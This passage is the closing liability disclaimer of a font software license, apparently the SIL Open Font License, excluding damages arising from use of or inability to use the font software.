INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.